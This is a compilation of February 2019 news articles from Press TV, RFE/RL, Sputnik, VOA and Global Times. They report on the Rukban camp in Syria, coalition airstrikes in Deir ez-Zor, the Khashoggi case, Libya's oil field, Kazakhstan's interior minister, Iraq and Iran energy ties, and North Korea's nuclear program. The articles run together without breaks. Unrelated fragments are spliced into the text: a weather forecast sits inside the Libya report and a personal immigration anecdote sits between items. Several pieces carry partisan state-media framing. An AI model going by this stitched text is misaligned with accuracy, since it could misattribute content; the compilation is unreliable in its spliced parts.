This is the second U.N. convoy to reach this harsh desert outpost since November. Corinne Fleischer, the World Food Program representative in Syria and Rukban Convoy team leader, said the Syrian Arab Red Crescent and U.N. agencies are in the process of delivering a one-month supply of food, basic medical items, clothes, sanitation, hygiene and other essential relief to the last 7,000 beneficiaries.

She said the vast majority of people are women and children who have been living in the desolate region for up to four years under increasingly desperate conditions. She said winter in the desert is extremely cold, noting that at least eight young children have died at the site as of January.

Speaking on a poor phone line from Rukban, Fleischer said the camp is situated in the middle of nowhere and that this affects every aspect of life for the thousands of people trapped there.

"There is not a single doctor in the entire Rukban settlement. Health care is provided by nurses. Many of them without any formal training. When we talked to a nurse who has 16 years of experience, who is displaced from Palmyra and she said that the conditions in the health clinic she works in are so basic as if she was operating in the stone age," Fleischer said.

Rukban is located close to the al-Tanf U.S. military base near where the borders of Syria, Jordan and Iraq meet. The residents include tens of thousands of people who have fled from Islamic State-held parts of Syria, which have been under attack by Russian and U.S.-led coalition airstrikes.

Besides the distribution of humanitarian assistance, Fleischer said aid workers have immunized some 7,000 children against measles, polio and other diseases. She is calling on all parties to allow the U.N. to continue critical assistance for people in the camp. For example, she said, establishing well-equipped health clinics in the camp would save many lives.70 civilians killed, injured as US-led coalition warplanes pound Syrian town

Iran Press TV

Tue Feb 12, 2019 01:19PM

Dozens of more civilians, mostly women and children, have lost their lives and sustained injuries when the US-led coalition purportedly fighting the Daesh Takfiri terrorist group launched a fresh round of airstrikes against an area in Syria's troubled eastern province of Dayr al-Zawr.

Local sources, speaking on condition of anonymity, told Syria's official news agency SANA on Tuesday that the aerial attacks targeted the outskirts of al-Baghouz town, leaving 70 people dead and injured as a result.

The sources added that the airstrikes hit a makeshift camp, which internally displaced people had set up in the area after fleeing fierce exchanges of gunfire between the US-led coalition and the last remnants of the Daesh Takfiri terrorist group.

They noted that the death toll is expected to rise as some of the injured are in a critical condition, and they cannot be moved since the area is under heavy shelling.

On Saturday, US-led military aircraft bombarded al-Tayyaneh town in Syria's Dayr al-Zawr province, leaving three people dead and several others injured.

The aerial assaults damaged some private and public property in the targeted area as well.

The US-led coalition has been conducting airstrikes and operations against what are said to be Daesh targets inside Syria since September 2014 without any authorization from the Damascus government or a United Nations mandate.

The military alliance has repeatedly been accused of targeting and killing civilians. It has also been largely incapable of achieving its declared goal of destroying Daesh.

Syria urges UN action

Syria has on numerous occasions condemned airstrikes by the US-led coalition, asking the UN to force Washington and its allies to put an end to their military intervention in the Arab country.

Also on Tuesday, the Syrian Ministry of Foreign Affairs and Expatriates, in two separate letters addressed to UN Secretary General Antonio Guterres and the rotating president of the Security Council, Anatolio Ndong Mba, denounced the coalition strikes conducted against al-Baghouz town a day earlier, saying the US-led warplanes had pounded a refugee camp.

Local sources, requesting anonymity, told state-run Ikhbariyah Syria television news network that 16 civilians, including seven children, were killed as a result of the raid.

"This new crime is in line with the series of war crimes and crimes against humanity, which the US-led coalition has perpetrated against Syrian people, its continued support for terrorism, and its use of terrorists and separatist militia forces to advance its fiendish plots aimed at Syria's sovereignty, unity and territorial integrity," said the letters.

The ministry also called on the UN Security Council to stand up against such attacks and crimes.

It also demanded that the Council assume its responsibilities regarding the establishment of international peace and security, conduct an international probe into these criminal acts, condemn them, and put an immediate halt to these air raids as well as the "aggressive" presence of US and other foreign military forces on the Syrian soil.UN Syria envoy underlines need for 'new beginning' in war-ravaged country

Iran Press TV

Tue Feb 12, 2019 04:07PM

United Nations Special Envoy for Syria Geir Pedersen has stressed the need for a "new beginning" in the Arab country, which has been facing nearly eight years of foreign-sponsored militancy, adding that a focus on the Daesh Takfiri terrorist group is still required.

"We need to see a new beginning inside of Syria. We need to build trust between the different communities and to make sure that we move forward in parallel with the political process," Pedersen said at a joint press conference with German Foreign Minister Heiko Maas in Berlin on Tuesday.

He added, "We need still also to focus on the Daesh, and the fact that the Daesh is dramatically weakened but perhaps not completely defeated."

The Norwegian diplomat, who took over from Staffan de Mistura in January, also pointed to "Israeli bombardments of the Syrian territory" as something which needed to be "sorted out."

On Monday night, Israeli military units launched a series of attacks against residential neighborhoods in Syria's strategic southwestern province of Quneitra.

Syria's official news agency SANA reported that Israeli tank shells targeted a hospital in Quneitra and a nearby observation post.

The report added that the shelling caused material damage but no casualties.

Maas, for his part, repeated calls for a sustainable political process in Syria.

"We all want Syria to get back to stability as soon as possible. We want a better future for the Syrian people. And we can achieve that with a sustainable and permanent political process that integrates the interests of all," he added.

On Thursday, Iranian President Hassan Rouhani and his Russian and Turkish counterparts Vladimir Putin and Recep Tayyip Erdogan will hold a tripartite summit in the Russian coastal city of Sochi to provide further coordination among the three countries.

The three leaders, who are going to hold their fourth such meeting in the Astana format, will concentrate on the long-term settlement of the Syrian crisis.

The summit will be held before the 12th Astana talks in the Kazakh capital, Astana. The first round of the Astana talks commenced a month after the three guarantors joined efforts and brought about an all-Syria ceasefire.

Moscow, Tehran, and Ankara have been mediating peace negotiations between representatives from the Damascus government and Syrian opposition groups in a series of rounds held in Astana and other places since January 2017.

The talks are collectively referred to as the Astana peace process.Pompeo Says U.S. Not Trying To Cover Up Khashoggi Murder

February 12, 2019

The United States' top diplomat has denied allegations that President Donald Trump's administration is trying to cover up the killing of Saudi reporter Jamal Khashoggi.

Mike Pompeo made the comments on February 11 while responding to reporters' questions during a visit to Hungary.

The allegations, leveled by Democratic and Republican lawmakers, focus on the Trump administration's failure to send a report to Congress determining who was responsible for his death

Last year, nearly two dozen Senate Republicans and Democrats called for an investigation into Khashoggi's death and whether Saudi Crown Prince Muhammad bin Salman was responsible.

The investigation was requested under a law known as the Global Magnitsky Act.

The act required the president to send the Senate Foreign Relations Committee a report by February 8 on the responsibility of Bin Salman.

In a letter to the top Democrat on the Senate committee, Bob Menendez, Pompeo said Trump had called for a prompt investigation into Khashoggi's death.

A columnist for The Washington Post who had been critical of the royal family, Khashoggi was killed in October after entering the Saudi Consulate in Istanbul to get a document he needed for his upcoming marriage.

"America is not covering up for a murder," Pompeo said.

Senator Tim Kaine, a Democrat from Virginia, where Khashoggi lived, accused the administration of a cover-up.

"America should never descend to this level of moral bankruptcy. Congress will not relent in its efforts to hold Saudi Arabia accountable for this heinous crime," Kaine said in a statement.

Based on reporting by AP

Source: https://www.rferl.org/a/pompeo-says-u-s-not-trying-to-cover -up-khashoggi-murder/29765294.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Fired aide to Saudi crown prince still working unofficially after Khashoggi murder: Wall Street Journal

Iran Press TV

Tue Feb 12, 2019 09:34AM

A report has revealed that Riyadh is not taking any serious action in response to the gruesome assassination of dissident journalist Jamal Khashoggi in Turkey, with Crown Prince Mohammed bin Salman still receiving advice from Saud al-Qahtani -- a key suspect in the case whom he had apparently fired as his aide -- and letting him operate discreetly.

Citing unnamed Saudi officials, The Wall Street Journal reported on Monday that Qahtani continues to carry out some of his duties as a royal court adviser on media affairs, such as "issuing directives to local journalists and brokering meetings" for the crown prince, also known as MBS.

Qahtani, believed to be bin Salman's right-hand man, is one of the highest-profile figures implicated in the brutal assassination of Khashoggi  an outspoken critic of the heir to the Saudi throne -- at Riyadh's consulate in Istanbul in early October 2018.

He was removed from his post after a Turkish investigation concluded there was "strong suspicion" that Qahtani  along with another aide to MBS Ahmed Asiri  was among the masterminds of the murder plot.

Qahtani is believed to have supervised a 15-man hit squad that flew from Riyadh to Istanbul to carry out Khashoggi's murder, although he did not travel to Turkey.

"MBS still goes to him for advice, and he still calls him his adviser with his close associates," one Saudi official said, according to the Wall Street Journal.

The report cited Saudi officials as saying that Qahtani had extensive sway over domestic and foreign affairs. He tightened controls on the press and assembled a 3,000-strong team to monitor and intimidate critics on social media, they said.

Turkish officials have tied the murder case to the highest levels of Saudi leadership. The CIA is also reported to have concluded that bin Salman ordered Khashoggi's murder, a conclusion Riyadh has denied.

Earlier in January, a Saudi court held its first hearing on Khashoggi's case in which prosecutors are seeking the death penalty for five of the 11 suspects in the case.

According to the Saudi government, Qahtani hasn't been charged in the case and is one of an additional 10 people who are under investigation.

A Saudi royal familiar with the matter said the crown prince sought to protect Qahtani.

"For MBS, Qahtani was the backbone of his court, and [Prince Mohammed] assured him that he will be untouched and will return when the Khashoggi case blows over," he said.

Saudi officials also told the Journal that Qahtani was still at liberty and continued to operate discreetly.

A Saudi official told the Journal that Qahtani had been spotted in Abu Dhabi, even though the kingdom had imposed a travel ban on him in the aftermath of the murder. He was seen in the royal court at least twice until people complained and he was banned, Saudi officials said.

Some US officials said they are skeptical that anyone will be executed for Khashoggi's killing. And they have told Saudi officials that the legal process isn't moving quickly enough.

"We see it going very slowly," said the senior State Department official. "It's a way for them to turn the tap on and turn the tap off in terms of accountability. It could string out for a long time."

A US official said that Riyadh's ambassador to Washington, Khalid bin Salman, who is MBS's brother, had told the US that that Saudi authorities wouldn't take Qahtani's cellphone away because he would find a way around it.

Saudi authorities are said to have resisted pressure from US officials to hold Qahtani responsible, though he is still reportedly under investigation by the Saudi public prosecutor.

US officials said they have pressed Riyadh to rein in Qahtani and they have made it clear that he should be prosecuted if the facts support it.

They said Washington also wants to see the crown prince accept some responsibility for the murder of Khashoggi, who had become a prominent critic of the crackdown on dissidents.

"If MBS wants to demonstrate leadership," said the State Department official, the crown prince should issue a statement "that this is inexcusable and this will never happen again and the bucks stops with me."

"That sort of helps people move on, but that hasn't happened," he said.

Riyadh has also resisted US pressure to close the royal media center that Qahtani once used to intimidate Saudi dissidents, American officials said.

US President Trump has avoided criticizing MBS, prompting criticisms that he was seeking to whitewash the murder to protect ties with Saudi Arabia.

On Monday, Secretary of State Mike Pompeo, however, claimed that "America is not covering up for a murder," and that the United States would take more action to hold accountable all those responsible for Khashoggi's death.

'Riyadh not helping Ankara with probe'

Meanwhile, Turkey says it wants the suspects in Khashoggi's case, including Qahtani, to stand trial in Turkey, but Saudi Arabia has refused to extradite them.

A spokesperson for the ruling Justice and Development Party (AKP) said Monday that Saudi Arabia was not cooperating with Ankara in its investigation into the murder.

Saudi authorities have not yet responded to Ankara's requests, and Turkey has not yet seen the necessary cooperation on this subject, AKP spokesman Omer Celik said.

He said Turkey is seriously seeking to identify those who ordered Khashoggi's murder.

Ankara will continue its investigations into the murder with full transparency.Libya: Forces loyal to Tripoli-based govt. seize control of largest oil field - military

Iran Press TV

Tue Feb 12, 2019 03:01AM

Forces loyal to the Tripoli-based government took control of the El-Sharara oil field, the largest in the country, on Sunday, according to an aide to a battalion commander.

"I don't expect any confrontations inside the oil field, as all the venues on its territory are well protected," said Abdullah Ibrahim Daoud, Assistant to the Commander of the 30th Infantry Battalion.

"Our forces are well equipped, so any infiltration that could lead to clashes inside the oil site is not possible," he added.

Forces loyal to the eastern-based government last week also reportedly dispatched troops to the

plant. Conflicting reports say they too had taken control of the oil field.

While sunshine is forecast to return Wednesday, blustery winds are expected to come along with it. A breeze from the west is forecast at 10-20 mph, and gusts could exceed 30 mph. The National Weather Service warned that tree branches already weighed down by ice could be knocked down in the wind.Nazarbaev Replaces Longtime Interior Minister, Keeps Him Close

By RFE/RL February 12, 2019

Kazakh President Nursultan Nazarbaev has dismissed long-serving Interior Minister Qalmukhanbet Qasymov, who has faced criticism for years over the use of force by police, but handed him two potentially influential positions in his administration.

In tweets on February 12, Nazarbaev's press service said that Qasymov's former deputy, Erlan Turghumbaev, has been appointed as interior minister while Qasymov has become a presidential aide and the secretary of Nazarbaev's Security Council.

Appointed in April 2011, Qasymov was the longest-serving interior minister in Kazakhstan since it gained independence in the Soviet breakup in 1991. The authoritarian Nazarbaev has been in power since before the Soviet Union collapsed.

Qasymov and his ministry were condemned after police opened fire at protesting oil workers in the southwestern city of Zhanaozen, killing at least 16 people, in December 2011.

Amid criticism at the time, Qasymov shocked many Kazakhs by saying in a televised statement that police would fire on those who "incite disorder" in the future.

Rights activists had repeatedly called for his resignation, saying that the police stepped up the disproportionate use of force and violence in frequent dispersals of demonstrations in the Central Asian country.

Criticism spiked in July 2018 in the wake of an attack in which two men fatally stabbed Olympic-medal-winning figure skater Denis Ten in the center of Almaty, the country's biggest city, in broad daylight.

The post of Security Council secretary keeps Qasymov close to Nazarbaev, who became advisory body's chairman for life in July. At the same, the council's status was changed from consultative to constitutional, increasing its authority.

Many in Kazakhstan saw the move as a sign that Nazarbaev, 78, is seeking to ensure that he will maintain his grip on power if he steps down as president.

Source: https://www.rferl.org/a/nazarbaev-replaces-longtime-interior -minister-keeps-him-close/29765699.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Leading Shia blocs renew call for withdrawal of US troops from Iraq

Iran Press TV

Tue Feb 12, 2019 06:39AM

Iraq's two leading Shia parliamentary coalitions of Sairoon (Marching Towards Reform) and al-Fatah (Conquest) have renewed their calls for the withdrawal of American forces from the Arab country.

On Monday, a delegation from Sairoon bloc, led by Shia cleric Muqtada al-Sadr, held talks with members of Fatah alliance, headed by secretary general of the Badr Organization, Hadi al-Ameri.

At a press conference following the meeting, Nasser al-Rabie, the head of the Sairoon delegation, stressed that the two political parties shared a common stance on the pullout of foreign troops from Iraqi territory.

Ameri, for his part, said that continued presence of American forces in Iraq was not possible in the current form and had to be reorganized under a new agreement.

The Americans, he added, were driven out of Iraq in 2011, but they once again entered the country in 2014 under the pretext of fighting the Daesh terrorist group.

The two political alliances had a few days ago expressed their objection to the US military presence in Iraq.

Calls have grown in Iraq for the US exit since last December, when President Donald Trump made an unannounced visit to al-Asad Air Base in the western Anbar Province.

The trip sparked a wave of condemnations from Iraqi political leaders, with some of them demanding the swift expulsion of American forces.

Recently, Trump ordered to withdraw all American troops from Syria and half of them from Afghanistan, but said he had no similar plans for Iraq.

The US, backed by the UK, invaded Iraq in 2003 claiming that the former regime of Saddam Hussein possessed weapons of mass destruction.

No such weapons, however, were ever found, and the invaders withdrew from Iraq, after nearly nine years of a military campaign that cost tens of thousands of Iraqi lives.

Leading a new coalition of its allies, the US returned to Iraq in 2014, when the Takfiri Daesh terror group unleashed a campaign of destruction in the Arab country. Widespread reports, however, said the Washington-led operations largely spared the terrorists and led, instead, to civilian deaths and inflicted damage on Iraqi infrastructure.

Iraq's armed forces, backed by mainly Shia volunteer forces, managed to liberate all Daesh-held areas thanks to military advisory assistance from neighboring Iran.

Baghdad declared the end of the anti-Daesh campaign in late 2017.Russia Not Supplying Iran With Missile Technologies - Foreign Ministry

Sputnik News

11:24 12.02.2019(updated 11:34 12.02.2019)

MOSCOW (Sputnik) - Russia does not supply missile technologies to Iran that has the right to develop and test them on its own, Vladimir Ermakov, the director of the Russian Foreign Ministry's Department for Nonproliferation and Arms Control, told Sputnik.

"Until 2023, the UN Security Council has restrictions on deliveries of missile products to Iran. Russia, of course, is guided by them. But the UN Security Council documents do not prohibit Iran to independently develop, produce, test and launch spacecraft or ballistic missiles," Yermakov said.

Russia never shared ballistic missile technologies with North Korea, Vladimir Yermakov added.

"Russia strictly observes the sanctions regime established by the UN Security Council against N. Korea, including its missile part, as we are certainly not interested in the emergence of one more state with weapons of mass destruction and their means of delivery at our borders," Yermakov said.

The diplomat stressed that Russia has never delivered modern tactical missile systems to North Korea.

Earlier, a number of countries, including Germany and France  signatories to the 2015 Joint Comprehensive Plan of Action, commonly known as the Iran nuclear deal  condemned Iran's satellite launches, accusing Iran of using ballistic missile technology and violating United Nations Security Council Resolution 2231 on the agreement.

Last May, US President Donald Trump announced that the United States would withdraw from the 2015 Joint Comprehensive Plan of Action (JCPOA), commonly referred to as the Iran nuclear deal, and would reimpose sanctions against Tehran.

 SputnikShah's Son Says Iranian Regime 'Close' To Collapse, Calls For 'Civil Disobedience'

By RFE/RL's Radio Farda February 12, 2019

WASHINGTON -- The son of the Iran's last monarch, Shah Mohammad Reza Pahlavi, says Iranian society is close to a "flash point" like it was before the 1979 Islamic Revolution and that the government in Tehran is near collapse.

Reza Pahlavi, the exiled former crown prince of Iran, said in an interview with RFE/RL's Radio Farda that he thinks "we are really close to the fall of the [Iranian] regime."

He added that the current situation in Iran is similar to how it was in 1979 when his father left Iran amid violent turmoil and went into exile.

That upheaval ended centuries of monarchy in Iran and led to the formation of the Islamic Republic of Iran with Supreme Leader Ayatollah Khomeini at its head.

"The atmosphere [in Iran] seems to be close to a flash point," he said at his home outside of Washington, D.C.

Pahlavi's comments came as Iran on February 11 celebrated the 40th anniversary of the establishment of an Islamic government in Iran.

"Let us not forget that the majority of Iranians within the present-day generation were not even born during the 1979 revolution," Pahlavi said. "If you really listen to them, their common demand, from any political inclination, is that we must be rescued. What are you [the political forces] doing for us?"

In a message to young Iranians on the anniversary, Pahlavi called for "civil disobedience" and an "all-out reconstruction" of Iran.

"After toppling the Islamic Republic of Iran, it is time to reconstruct Iran and its national identity," he added.

Pahlavi was critical of many Western countries for not being bolder in their policies toward Tehran.

"It is obvious that the policy, especially that of Europe's, continues to be, 'Let's not pressure the Islamic republic for the sake of our economic gain,'" he said. "Let's look at what that has yielded for Europe: You have had a government in Iran that destabilized the region through its different proxies from Syria to Lebanon to Hizballah, etc., and the outcome of this religious radicalism has been the situation in Syria...and the wave of refugees that poured into Europe."

Pahlavi, 58, said that he often tells foreign leaders that the best policy for them is to "support and empower the Iranian people" and to maintain a dialogue with "the secular, democratic opposition" that he believes "represents the majority of Iranians."

Trained as a pilot in the Iranian Air Force, Pahlavi, who came to the United States in 1978, has been one of the foremost critics of Iran's Islamic government in recent decades.

Pahlavi's name has been in the news often since late 2017 as some groups in Iran have called for a return of the monarchy during large nationwide demonstrations against political corruption and poor economic conditions.

Source: https://www.rferl.org/a/shah-s-son-says-iranian- regime-close-to-collapse/29766385.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Warsaw meeting will fail to undermine Iran's power: Top military commander

Iran Press TV

Tue Feb 12, 2019 10:59AM

Iran's top military commander says a hostile anti-Iran meeting to be co-hosted by the United States and Poland in Warsaw will fail to either undermine the Islamic Republic's power or affect its policy.

Chairman of the Chiefs of Staff of the Iranian Armed Forces Major General Mohammad Baqeri played down the confab, which is to open in the Polish capital on Wednesday, as "insignificant" and "worthless."

Baqeri said Poland had pledged that the so-called Middle East security meeting would not include any anti-Iran discussions.

"Whether or not anything is said against Iran during the Warsaw meeting, it will fail to affect the Islamic Republic's policy and power," said the Iranian general.

"We will wait and see if the Polish officials will stick to their word," he said.

The international gathering will take place on February 13 and 14 as part of US attempts to heap pressure on Iran globally.

US Secretary of State Mike Pompeo said the meeting would "focus on Middle East stability and peace, freedom and security here in this region, and that includes an important element of making sure that Iran is not a destabilizing influence."

Later in the month, however, and as officials from various countries indicated their refusal to participate, US Deputy Ambassador to the UN Jonathan Cohen claimed at the UN Security Council that the meeting was "not a venue to demonize or attack Iran," in an apparent about-face.

Since withdrawing from the Iran nuclear deal last year, the US administration has steadily ratcheted up pressure on Tehran and vowed to increase it until Iran halts what US officials describe as its "malign activities" throughout the Middle East and elsewhere.

As part of its policy of maximum pressure, Washington in early November re-imposed what it called the harshest-ever sanctions against the Islamic Republic.

The meeting has, however, received a cold welcome from Washington's European allies, which are engaged in a diplomatic process with Tehran aimed at saving the 2015 nuclear deal.

EU foreign policy chief Federica Mogherini has already announced that she will refuse to attend the event. Likewise, ministers from several European Union countries will likely skip the summit, The Wall Street Journal reported last month.

Tehran has denounced the confab as "a circus" and summoned Poland's envoy to protest Warsaw's hosting of the event.

Iran's Foreign Minister Mohammad Javad Zarif said on Sunday that the Warsaw meeting had fallen flat on its face before even getting off the ground.

"The Warsaw meeting was rendered doomed to failure before start," he said.Iraq, US clash over Iran energy imports: Paper

Iran Press TV

Tue Feb 12, 2019 01:47PM

Iraq is pushing back on US pressures to stop buying natural gas and electricity from Iran in what has become a major point of conflict between Washington and Baghdad, the New York Times reports.

Iran is the sole foreign supplier to Iraq where energy production and grid capabilities have lagged since the US invasion of 2003 and blackouts in cities are common even with the current purchases.

Iraq heavily relies on Iranian gas to generate electricity but US officials say purchases must end now because gas falls under the American sanctions.

The electricity shortfall is especially acute in the sweltering summers, which led to violent protests in Basra in September and turned into a national crisis.

Iraq's electricity demand is expected to surge again this summer and any cuts in Iranian supplies are set to spark more protests, destabilizing the Arab country.

Gas imports from Iran generate as much as 45 percent of Iraq's 14,000 megawatts of electricity consumed daily. Iran transmits another 1,200 megawatts directly, making itself an indispensable energy source for its Arab neighbor.

According to the New York Times, the Trump administration has told Iraq's leaders that they have until late March to end electricity purchases.

Officials in Baghdad say there is no easy substitute because it would take three years or more to adequately build up Iraq's energy infrastructure, the paper said.

The US gave a 45-day waiver on electricity to Iraq and extended it by 90 days in December after it reimposed sanctions on Iran in May.

Iraqi officials said the American demand acknowledges neither Iraq's energy needs nor the complex relations between Baghdad and Tehran.

Iraq's former prime minister Haider al-Abadi told the New York Times that Baghdad was in a precarious situation with the United States because the Americans have failed to "look at the geopolitics of Iraq."

"We happen to be neighbors of Iran; the US is not. We happen to have the longest border with Iran; the US does not. And we don't have that powerful an economy," he said.

"The defiance by Iraqi leaders underscores the lack of support among many nations for the sanctions and the American goal of crippling Iran's government," the paper wrote.

It cited analysts as saying that they do not expect China and India to stop their purchases of Iranian oil either even after the 180-day waivers expire.

Last month, Britain, France and Germany announced a mechanism to allow countries to do business with Iran without falling foul of US sanctions.

According to the Times, the Trump administration is pressuring Iraqi officials to connect their grid to Saudi Arabia, Jordan or Kuwait and sign contracts with foreign companies for natural gas capture during crude oil production.

Last October, the Trump administration warned Iraqi officials to forgo a $15 billion power generation deal with Germany's Siemens and award it to General Electric instead.

According to Bloomberg News, senior US officials warned Abadi at the time that signing the deal with Siemens would seriously jeopardize Iraq's relations with the United States.

Iraqi officials ended up signing nonbinding agreements with both companies but the product would equal only a fraction of the imports from Iran, and it would take at least two years to come online.

On Friday, Iraqi Minister of Electricity Luay al-Khatib visited Tehran where he signed initial accords on power production, exports and technology transfers.

Iran's state-run electricity firm Tavanir agreed to extend its direct electricity exports to Iraq, despite an outstanding Iraqi debt of $2 billion.

Iran's Energy Minister Reza Ardekanian said Iraq's debts have been scheduled and repayments have started.

Earlier this month, the two neighbors signed an agreement on a payment mechanism which is to facilitate the settlement of Baghdad's debts to Tehran.

The deal allows Iranian traders to open accounts with Iraqi banks to carry out their transactions, Iran's Central Bank Governor Abdolnaser Hemmati said in Baghdad.

In addition to natural gas and electricity, Iraq imports a wide range of goods from Iran including food, agricultural products, home appliances, and air conditioners.Moscow stresses on Iran's right to develop its missile program

ISNA - Iranian Students' News Agency

Tue / 12 February 2019 / 14:34

Tehran (ISNA) - The director of the Russian Foreign Ministry's department for Nonproliferation and Arms Control emphasized that UN Security Council resolutions do not prohibit Iran to independently develop, produce, test and launch spacecraft or ballistic missiles.

The director of the Russian Foreign Ministry's department for Nonproliferation and Arms Control, Vladimir Ermakov told Sputnik that Russia does not supply missile technologies to Iran that has the right to develop and test them on its own.

"Until 2023, the UN Security Council has restrictions on deliveries of missile products to Iran. Russia, of course, is guided by them. But the UN Security Council documents do not prohibit Iran to independently develop, produce, test and launch spacecraft or ballistic missiles," he added.

End ItemIndia Starts Shortlisting Firms for $4 Billion Naval Utility Helicopter Deal

Sputnik News

16:52 12.02.2019(updated 17:18 12.02.2019)

The Indian Navy wants 4.5-tonne twin-engine naval helicopters that can be used for both shore-based and offshore operations and operate from ship decks in all weather and around the clock.

Almost two years after issuing an initial request for information, India's Ministry of Defence has issued an Expression of Interest for the supply of 111 naval utility helicopters (NUH) as part of a strategic partnership; it is shortlisting domestic as well as foreign firms. These helicopters are slated to replace the Chetak fleet and will be utilised for search and rescue missions, low-intensity maritime operations, sub-surface targeting and communication duties.

"95 helicopters out of 111 will be manufactured in India by the selected Indian Strategic Partner," a statement issued by the Indian Navy reads while declaring that 16 of the helicopters are to be delivered by a foreign manufacturer in flyaway condition within five years of signing the contract.

The remaining 95 helicopters are to be delivered within six to 13 years of the contract's signing.

The foreign manufacturers most likely to participate in the project are Lockheed Martin (US), Airbus Helicopters (Europe), Bell Helicopters (US) and Russian Helicopters (Russia). It's specified that about 60% of each helicopter should be produced domestically through the NUH project.

"The helicopter manufacturers have been mandated to set up a dedicated manufacturing line, including design, integration and manufacturing processes for NUH in India and make the Indian manufacturing line a global exclusive facility for the NUH platform being offered," the Indian Navy statement adds.

Tata Advanced Systems Ltd, Mahindra Defence, Adani Defence, L&T, Bharat Forge and Reliance Infrastructure are the probable Indian companies that are likely to participate in the process. The Indian companies would be shortlisted based on their capability of system integration, facility in the aerospace domain and financial capabilities.

The RFP for procurement is likely to be issued towards the end of the third quarter of this year to the shortlisted Indian companies.

 SputnikUS General Notes 'Little to No' Progress on North Korea's Capabilities

By William Gallo February 12, 2019

North Korea's nuclear and other military capabilities remain unchanged and still pose a threat to the United States and its allies, the top U.S. military commander in South Korea told a Senate hearing Tuesday.

"Little to no verifiable change has occurred in North Korea's military capabilities," despite Pyongyang's public statements about denuclearization, General Robert Abrams, head of U.S. Forces Korea, told the Senate Armed Services Committee.

The comments underscore the stalled diplomacy between the U.S. and North Korea since President Donald Trump and Kim Jong Un agreed last June in Singapore to work toward the denuclearization of the Korean peninsula.

Trump and Kim are set to hold a second summit in Vietnam later this month. U.S. officials have said they expect "significant and verifiable" progress there.

"My personal opinion is the announcement of a second summit...is a positive sign of continued dialogue," Abrams said. "It certainly beats the alternative of what we were living with in 2017."

It has been 440 days since North Korea last conducted a nuclear or missile flight test, Abrams noted. "The reduction in tension on the peninsula, it's palpable," he said.

"Having said all that though, we have not observed activity that's consistent with a full-court press on denuclearization," he added.

Military drills

Meanwhile, North Korea is continuing its annual winter military exercises, Abrams said.

"We have observed no significant changes to the size, scope, or timing of their ongoing exercises," Abrams said, putting particular emphasis on the word "their."

At last year's Singapore summit, Trump announced the cancellation of several major military drills between the U.S. and South Korea, saying they were expensive and needlessly provocative.

North Korea has for decades said the exercises amount to preparation to invade the North -- a notion the U.S. strongly denies.

Some U.S. lawmakers and others have expressed concern about U.S. military readiness, should the exercises be postponed much longer.

Troop levels

Many have also expressed worry that Trump may use the upcoming summit to announce a withdrawal or reduction of U.S. troops in South Korea.

Asked by Senator Jack Reed whether the U.S. can afford to reduce its troop presence, Abrams responded that the current posture "is appropriate in terms of providing an adequate deterrent" against North Korea.

The U.S. currently has over 28,000 troops in South Korea.

Trump has for years complained U.S. troops in Korea are too expensive and do not adequately advance U.S. interests. However the U.S. president, along with the top U.S. envoy to North Korea, Stephen Biegun, have said they are not discussing a troop withdrawal or reduction in the peninsula.

Earlier this week, the U.S. and South Korea signed an agreement that will increase by 8 percent the amount Seoul pays for the U.S. troop presence. Trump had reportedly demanded an increase of 50 percent.

The deal, which is subject to South Korean parliamentary approval, is only valid for one year, unlike the previous agreement, which lasted five years.Study: Enough Uranium, Plutonium For 5-7 Nukes Made in North Korea Last Year

Sputnik News

22:17 12.02.2019

North Korea churned out enough plutonium and highly-enriched uranium to fill five to seven new nuclear weapons last year during the same period negotiations with the United States were taking place, according to a new US study.

Stanford University's Center for International Security and Cooperation reports that the volume of fissile material produced by the Yongbyon Nuclear Scientific Research Center North Korea is sufficient to enable growth in the number of nuclear warheads in the North Korean arsenal.

"Our analysis of open-source imagery of the Yongbyon complex led us to estimate they may have added sufficient plutonium and highly-enriched uranium for an additional five to seven nuclear weapons," says study co-author Siegfried Hecker, who estimated that North Korea made enough nuclear fuel in 2017 to build about 30 warheads.

Pyongyang has taken "the remarkable step" of ending nuclear weapons and long-range missile testing "at a time during which North Korea has been rapidly increasing the sophistication of its nuclear weapons and missiles and their destructive power and reach," researchers said.

The study also questions North Korea's ability to hit a target on the US mainland "with any measure of confidence."

Overall, the study says North Korea "rolled back the threat" researchers believed Pyongyang to pose in 2017.

North Korean leader Kim Jong Un and US President Donald Trump are slated to meet for the second time in Hanoi, the capital of Vietnam, later this month.

Last week, Trump expressed hope on Twitter that North Korea would become an economic "Rocket."

 SputnikWhen I arrived on the scene, I found an immigration attorney who did little on our behalf and what's worse did not inform me when an immigration judge would hear the case. We were helpless, but not as helpless as all the frightened and impoverished men and women vegetating in the detention center where my son-in-law was sent prior to his exclusion. Located some 200 miles from Dallas, it was a frightening place as criminals were mixed with people who had been apprehended at the border.China 'likely' to see steady increase in 2019 defense budget

Global Times

By Liu Xuanzun Source:Global Times Published: 2019/2/12 16:48:39

As China continues to push forward its military reform to achieve modernization in an unpredictable and volatile international security environment, the country is likely to see a steady increase in its defense budget in 2019 to about 1.2 trillion yuan ($179 billion), Chinese military experts said Monday.

The figure is expected to be released at China's annual two sessions in early March. It is reasonable for China to increase its defense budget as its economy grows, analysts said.

Constant increases in the defense budget are beneficial to maintaining the combat capability of the People's Liberation Army (PLA) by modernizing its weapons and equipment, a military expert told the Global Times on condition of anonymity on Monday, noting a stable 8-9 percent increase from 2018 would be a reasonable prediction.

Echoing the expert, Wei Dongxu, a Beijing-based military analyst, told the Global Times that China's 2019 defense budget will be around 1.2 trillion yuan, and the increase will not likely exceed 10 percent.

The 2018 defense budget was 1.11 trillion yuan, an 8.1 percent increase over 2017's, the Xinhua News Agency reported in March 2018.

The report to the 19th National Congress of the Communist Party of China clarified the goal of China's military progress: "By the year 2020, military mechanization will be basically achieved, with IT application coming a long way and strategic capabilities seeing a big improvement."

The report also mentioned that by 2035, the modernization of China's national defense and forces will be basically completed; and that by the mid-21st century the armed forces would be fully transformed into world-class troops.

The increase went mainly to the development of weaponry and equipment, the improvement of training conditions, military reform and troop salaries and benefits, the PLA Daily reported then.

The same will also apply to 2019, analysts said.

China still has much catching-up to do in terms of weapons and technologies, because Chinese weapons were less advanced in the past, Wei said.

